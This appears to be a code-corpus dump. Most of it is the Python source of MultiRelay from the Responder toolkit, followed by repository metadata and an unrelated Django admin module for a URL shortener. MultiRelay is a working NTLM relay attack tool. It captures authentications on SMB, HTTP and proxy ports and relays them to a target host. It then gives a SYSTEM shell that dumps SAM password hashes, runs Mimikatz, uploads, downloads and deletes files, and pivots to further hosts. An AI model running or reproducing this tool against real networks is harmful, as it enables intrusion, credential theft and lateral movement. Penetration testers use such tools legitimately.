#!/usr/bin/env python # -*- coding: latin-1 -*- # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: [email protected] # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import sys if (sys.version_info > (3, 0)): PY2OR3 = "PY3" else: PY2OR3 = "PY2" sys.exit("For now MultiRelay only supports python 3. Try python3 MultiRelay.py ...") import re import os import logging import optparse import time import random import subprocess from threading import Thread if PY2OR3 == "PY3": from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler else: from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler try: from Crypto.Hash import MD5 except ImportError: print("\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes.") print("You can install it on debian based os with this command: apt-get install python-crypto") print("The Sam file will be saved anyway and you will have the bootkey.\033[0m\n") try: import readline except: print("Warning: readline module is not available, you will not be able to use the arrow keys for command history") pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from socket import * __version__ = "2.5" MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe" RunAsFileName = "./MultiRelay/bin/Runas.exe" SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) if os.path.isfile(SysSVCFileName) is False: print(color("[!]MultiRelay/bin/ folder is empty. You need to run these commands:\n",1,1)) print(color("apt-get install gcc-mingw-w64-x86-64",2,1)) print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv",2,1)) print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode",2,1)) print(color("\nAdditionally, you can add your custom mimikatz executables (mimikatz.exe and mimikatz_x86.exe)\nin the MultiRelay/bin/ folder for the mimi32/mimi command.",3,1)) sys.exit() def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) if arg[0] == "-": break if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand") parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump") options, args = parser.parse_args() if options.TARGET is None: print("\n-t Mandatory option is missing, please provide a target.\n") parser.print_help() exit(-1) if options.UserToRelay is None: print("\n-u Mandatory option is missing, please provide a username to relay.\n") parser.print_help() exit(-1) if options.ExtraPort is None: options.ExtraPort = 0 if not os.geteuid() == 0: print(color("[!] MultiRelay must be run as root.")) sys.exit(-1) OneCommand = options.OneCommand Dump = options.Dump ExtraPort = options.ExtraPort UserToRelay = options.UserToRelay Host = [options.TARGET] Cmd = [] ShellOpen = [] Pivoting = [2] def ShowWelcome(): print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)) print('\nSend bugs/hugs/comments to: [email protected]') print('Usernames to relay (-u) are case sensitive.') print('To kill this script hit CTRL-C.\n') print(color('/*',8,1)) print('Use this script in combination with Responder.py for best results.') print('Make sure to set SMB and HTTP to OFF in Responder.conf.\n') print('This tool listen on TCP port 80, 3128 and 445.') print('For optimal pwnage, launch Responder only with these 2 options:') print('-rv\nAvoid running a command that will likely prompt for information like net use, etc.') print('If you do so, use taskkill (as system) to kill the process.') print(color('*/',8,1)) print(color('\nRelaying credentials for these users:',8,1)) print(color(UserToRelay,4,1)) print('\n') ShowWelcome() def ShowHelp(): print(color('Available commands:',8,0)) print(color('dump',8,1)+' -> Extract the SAM database and print hashes.') print(color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)') print(color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)') print(color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)') print(color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)') print(color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\') print(color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)') print(color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to') print(color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)') print(color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)') print(color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)') print(color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)') print(color('help',8,1)+' -> Print this message.') print(color('exit',8,1)+' -> Exit this shell and return in relay mode.') print(' If you want to quit type exit and then use CTRL-C\n') print(color('Any other command than that will be run as SYSTEM on the target.\n',8,1)) Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs = logging Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') def NetworkSendBufferPython2or3(data): if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) def StructPython2or3(endian,data): #Python2... if PY2OR3 == "PY2": return struct.pack(endian, len(data)) #Python3... else: return struct.pack(endian, len(data)).decode('latin-1') def UploadContent(File): with open(File,'rb') as f: s = f.read() FileLen = len(s.decode('latin-1')) FileContent = s.decode('latin-1') return FileLen, FileContent try: RunFinger(Host[0]) except: raise print("The host %s seems to be down or port 445 down."%(Host[0])) sys.exit(1) def get_command(): global Cmd Cmd = [] while any(x in Cmd for x in Cmd) is False: Cmd = [input("C:\\Windows\\system32\\:#")] #Function used to make sure no connections are accepted while we have an open shell. #Used to avoid any possible broken pipe. def IsShellOpen(): #While there's nothing in our array return false. if any(x in ShellOpen for x in ShellOpen) is False: return False #If there is return True. else: return True #Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting. def IsPivotOn(): #While there's nothing in our array return false. if Pivoting[0] == "2": return False #If there is return True. if Pivoting[0] == "1": print("pivot is on") return True def ConnectToTarget(): try: s = socket(AF_INET, SOCK_STREAM) s.connect((Host[0],445)) return s except: try: sys.exit(1) print("Cannot connect to target, host down?") except: pass class HTTPProxyRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None if IsPivotOn(): return None except: raise s = ConnectToTarget() try: data = self.request.recv(8092) ##First we check if it's a Webdav OPTION request. Webdav = ServeOPTIONS(data) if Webdav: #If it is, send the option answer, we'll send him to auth when we receive a profind. self.request.send(Webdav) data = self.request.recv(4096) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 s.send(buffer0) smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(2048) #got it here. ## Send HTTP Proxy Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] ##Got NTLM Message 3 from client. if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) ##Might be anonymous, verify it and if so, send no go to client. if IsSMBAnonymous(NTLM_Auth): Response = WPAD_Auth_407_Ans() self.request.send(str(Response)) data = self.request.recv(8092) else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print("[+] SMB Session Auth sent.") s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: s.close() self.request.close() return None else: ##Any other type of request, send a 407. Response = WPAD_Auth_407_Ans() self.request.send(str(Response)) except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass class HTTPRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None if IsPivotOn(): return None except: raise try: s = ConnectToTarget() data = self.request.recv(8092) ##First we check if it's a Webdav OPTION request. Webdav = ServeOPTIONS(data) if Webdav: #If it is, send the option answer, we'll send him to auth when we receive a profind. self.request.send(NetworkSendBufferPython2or3(Webdav)) data = self.request.recv(4096) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 s.send(buffer0) smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(2048) #got it here. ## Send HTTP Response. Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] ##Got NTLM Message 3 from client. if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) ##Might be anonymous, verify it and if so, send no go to client. if IsSMBAnonymous(NTLM_Auth): Response = IIS_Auth_401_Ans() self.request.send(str(Response)) data = self.request.recv(8092) else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print("[+] SMB Session Auth sent.") s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: s.close() self.request.close() return None else: ##Any other type of request, send a 401. Response = IIS_Auth_401_Ans() self.request.send(str(Response)) except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass class SMBRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None except: raise try: s = ConnectToTarget() data = self.request.recv(8092) ##Negotiate proto answer. That's us. if data[8:10] == b'\x72\x00': Header = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) packet1 = str(Header)+str(Body) Buffer = StructPython2or3('>i', str(packet1))+str(packet1) self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(4096) ## Make sure it's not a Kerberos auth. if data.find(b'NTLM') != -1: ## Start with nego protocol + session setup negotiate to our target. data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. if data.find(b'NTLM') != -1: ##Relay all that to our client. if data[8:10] == b'\x73\x00': head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. t = smbdata[36:].decode('latin-1') packet0 = str(head)+str(t) buffer0 = longueur(packet0)+packet0 self.request.send(NetworkSendBufferPython2or3(buffer0)) data = self.request.recv(4096) else: #if it's kerberos, ditch the connection. s.close() return None if IsSMBAnonymous(NetworkSendBufferPython2or3(data)): ##Send logon failure for anonymous logins. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(NetworkSendBufferPython2or3(buffer1)) s.close() return None else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34].decode('latin-1'),mid="\x03\x00") t = data[36:].decode('latin-1')#Final relay. packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 if Pivoting[0] == "1": pass else: print("[+] SMB Session Auth sent.") s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(4096) #We're all set, dropping into shell. RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) #If runcmd is None it's because tree connect was denied for this user. #This will only happen once with that specific user account. #Let's kill that connection so we can force him to reauth with another account. if RunCmd is None: s.close() return None else: ##Send logon failure, so our client might authenticate with another account. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(4096) self.request.close() return None except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass #Interface starts here. def RunShellCmd(data, s, clientIP, Target, Username, Domain): #Let's declare our globals here.. #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode. global Pivoting #Update Host, when pivoting is used. global Host #Make sure we don't open 2 shell at the same time.. global ShellOpen ShellOpen = ["Shell is open"] # On this block we do some verifications before dropping the user into the shell. if data[8:10] == b'\x73\x6d': print("[+] Relay failed, Logon Failure. This user doesn't have an account on this target.") print("[+] Hashes were saved anyways in Responder/logs/ folder.\n") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False if data[8:10] == b'\x73\x8d': print("[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False if data[8:10] == b'\x73\x5e': print("[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n") del ShellOpen[:] return False ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Tree Connect if data[8:10] == b'\x73\x00': GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## Nope he doesn't. if data[8:10] == b'\x75\x22': if Pivoting[0] == "1": pass else: print("[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. if data[8:10] == b'\x75\xcc': print("[+] Tree Connect AndX denied. Bad Network Name returned.") del ShellOpen[:] return False ## Tree Connect on C$ is successfull. if data[8:10] == b'\x75\x00': if Pivoting[0] == "1": pass else: print("[+] Looks good, "+Username+" has admin rights on C$.") head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## Run one command. if data[8:10] == b'\x75\x00' and OneCommand != None or Dump: print("[+] Authenticated.") if OneCommand != None: print("[+] Running command: %s"%(OneCommand)) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) if Dump: print("[+] Dumping hashes") DumpHashes(data, s, Target[0]) os._exit(1) ## Drop into the shell. if data[8:10] == b'\x75\x00' and OneCommand == None: if Pivoting[0] == "1": pass else: print("[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n") ShowHelp() Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired") print(color('Connected to %s as LocalSystem.'%(Target[0]),2,1)) while True: ## We either just arrived here or we're back from a command operation, let's setup some stuff. if data[8:10] == b'\x75\x00': #start a thread for raw_input, so we can do other stuff while we wait for a command. t = Thread(target=get_command, args=()) t.daemon = True t.start() #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation #to maintain MultiRelay alive and well. count = 0 DoEvery = random.randint(10, 45) while any(x in Cmd for x in Cmd) is False: count = count+1 SMBKeepAlive(s, data) if count == DoEvery: DumbSMBChain(data, s, Target[0]) count = 0 if any(x in Cmd for x in Cmd) is True: break ##Grab the commands. Cmd is global in get_command(). DumpReg = re.findall('^dump', Cmd[0]) Read = re.findall('^read (.*)$', Cmd[0]) RegDump = re.findall('^regdump (.*)$', Cmd[0]) Get = re.findall('^get (.*)$', Cmd[0]) Upload = re.findall('^upload (.*)$', Cmd[0]) Delete = re.findall('^delete (.*)$', Cmd[0]) RunAs = re.findall('^runas (.*)$', Cmd[0]) LCmd = re.findall('^lcmd (.*)$', Cmd[0]) Mimi = re.findall('^mimi (.*)$', Cmd[0]) Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0]) Scan = re.findall('^scan (.*)$', Cmd[0]) Pivot = re.findall('^pivot (.*)$', Cmd[0]) Help = re.findall('^help', Cmd[0]) if Cmd[0] == "exit": print("[+] Returning in relay mode.") del Cmd[:] del ShellOpen[:] return None ##For all of the following commands we send the data (var: data) returned by the ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. if DumpReg: data = DumpHashes(data, s, Target[0]) del Cmd[:] if Read: File = Read[0] data = ReadFile(data, s, File, Target[0]) del Cmd[:] if Get: File = Get[0] data = GetAfFile(data, s, File, Target[0]) del Cmd[:] if Upload: File = Upload[0] if os.path.isfile(File): FileSize, FileContent = UploadContent(File) File = os.path.basename(File) data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) del Cmd[:] else: print(File+" does not exist, please specify a valid file.") del Cmd[:] if Delete: Filename = Delete[0] data = DeleteFile(data, s, Filename, Target[0]) del Cmd[:] if RegDump: Key = RegDump[0] data = SaveAKey(data, s, Target[0], Key) del Cmd[:] if RunAs: if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) Exec = RunAs[0] data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) del Cmd[:] else: print(RunAsFileName+" does not exist, please specify a valid file.") del Cmd[:] if LCmd: subprocess.call(LCmd[0], shell=True) del Cmd[:] if Mimi: if os.path.isfile(MimikatzFilename): FileSize, FileContent = UploadContent(MimikatzFilename) FileName = os.path.basename(MimikatzFilename) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) Exec = Mimi[0] data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) del Cmd[:] else: print(MimikatzFilename+" does not exist, please specify a valid file.") del Cmd[:] if Mimi32: if os.path.isfile(Mimikatzx86Filename): FileSize, FileContent = UploadContent(Mimikatzx86Filename) FileName = os.path.basename(Mimikatzx86Filename) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) Exec = Mimi32[0] data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) del Cmd[:] else: print(Mimikatzx86Filename+" does not exist, please specify a valid file.") del Cmd[:] if Pivot: if Pivot[0] == Target[0]: print("[Pivot Verification Failed]: You're already on this host. No need to pivot.") del Pivot[:] del Cmd[:] else: if ShowSigning(Pivot[0]): del Pivot[:] del Cmd[:] else: if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) RunAsPath = '%windir%\\Temp\\'+FileName Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) if Status == True: print("[+] Pivoting to %s."%(Pivot[0])) if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) #shell will close. del ShellOpen[:] #update the new host. Host = [Pivot[0]] #we're in pivoting mode. Pivoting = ["1"] data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) del Cmd[:] s.close() return None if Status == False: print("[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host.") del Cmd[:] del Pivot[:] else: print(RunAsFileName+" does not exist, please specify a valid file.") del Cmd[:] if Scan: LocalIp = FindLocalIp() Range = ConvertToClassC(Target[0], Scan[0]) RunPivotScan(Range, Target[0]) del Cmd[:] if Help: ShowHelp() del Cmd[:] ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: if os.path.isfile(SysSVCFileName): FileSize, FileContent = UploadContent(SysSVCFileName) FileName = os.path.basename(SysSVCFileName) RunPath = '%windir%\\Temp\\'+FileName data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) del Cmd[:] else: print(SysSVCFileName+" does not exist, please specify a valid file.") del Cmd[:] if isinstance(data, str): data = data.encode('latin-1') if data is None: print("\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n") if data[8:10] == b"\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) class ThreadingTCPServer(TCPServer): def server_bind(self): TCPServer.server_bind(self) ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.daemon_threads = True def serve_thread_tcp(host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except: print(color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)) def main(): try: threads = [] threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,))) threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,))) threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,))) if ExtraPort != 0: threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,))) for thread in threads: thread.setDaemon(True) thread.start() while True: time.sleep(1) except (KeyboardInterrupt, SystemExit): ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. ##This is a bug in python readline when dealing with raw_input().. if ShellOpen: os.system('stty sane') ##Then exit sys.exit("\rExiting...") if __name__ == '__main__': main()
gpl-3.0
martingms/django-globalshorturls
globalshorturls/admin/contrib.py
1
2513
# encoding: utf-8 from django.contrib.admin import site, ModelAdmin from globalshorturls.models import Shorturl from django.forms import ModelForm from django.contrib.admin.filterspecs import FilterSpec, ChoicesFilterSpec from django.utils.translation import ugettext as _ from django.utils.encoding import smart_unicode # The list of objects can get extremely long. This method will # override the filter-method for objects by specifying an extra # attribute on the list of choices, thus only displaying a filter # method to those objects actually existing in the database. # Taken from: http://djangosnippets.org/snippets/1879/ class CustomChoiceFilterSpec(ChoicesFilterSpec): def __init__(self, f, request, params, model, model_admin): super(CustomChoiceFilterSpec, self).__init__(f, request, params, model, model_admin) self.lookup_kwarg = '%s__id__exact' % f.name self.lookup_val = request.GET.get(self.lookup_kwarg, None) self.objects = model.objects.all() def choices(self, cl): yield {'selected': self.lookup_val is None, 'query_string': cl.get_query_string({}, [self.lookup_kwarg]), 'display': _('All')} items = [i.creator for i in self.objects] items = list(set(items)) for k in items: yield {'selected': smart_unicode(k) == self.lookup_val, 'query_string': cl.get_query_string({self.lookup_kwarg: k.id}), 'display': k} FilterSpec.filter_specs.insert(0, (lambda f: getattr(f, 'compact_filter', False), CustomChoiceFilterSpec)) # This form is identical to the ShorturlForm in models.py, but I keep them separate so that it is possible to change them # without interfering with the other class ShorturlAdminForm(ModelForm): class Meta: model = Shorturl def clean_url(self): url = self.cleaned_data['url'] if url.startswith('http'): return url else: return 'http://'+url class ShorturlAdmin(ModelAdmin): # You might want to add has_change_permission and has_delete_permission here if anyone but staff can view admin form = ShorturlAdminForm fields = ('url',) search_fields = ['url'] list_display = ('url', 'full_shorturl', 'creator', 'counter',) list_filter = ('creator',) def save_model(self, request, obj, form, change): if not obj.creator: obj.creator = request.user obj.save() site.register(Shorturl, ShorturlAdmin)
mit
dominicelse/scipy
benchmarks/benchmarks/sparse_linalg_solve.py
30
2163
